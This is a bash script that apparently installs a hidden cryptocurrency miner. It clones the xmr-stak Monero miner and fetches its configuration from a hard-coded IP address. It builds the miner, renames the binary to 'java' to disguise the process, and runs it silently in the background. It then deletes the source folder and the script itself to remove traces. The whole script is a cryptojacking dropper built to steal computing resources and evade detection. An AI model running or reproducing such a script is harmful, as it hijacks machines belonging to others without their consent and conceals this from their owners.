#!/usr/bin/env bash

git clone https://gitee.com/Alexrander/xmr-stak.git
mkdir xmr-stak/build
mkdir xmr-stak/build/bin

cd xmr-stak/build/bin
curl -o config.txt http://123.206.210.251:9999/fileApi/down?arg="config"
curl -o cpu.txt http://123.206.210.251:9999/fileApi/down?arg="cpu"
cd ../
sleep 1
cmake3 .. -DCUDA_ENABLE=OFF -DOpenCL_ENABLE=OFF
make install
sleep 1
cd ./bin
mv ./xmr-stak ./java
nohup ./java >/dev/null 2>&1 &
rm -rf ../../../xmr-stak
rm -rf ../../../xmr.sh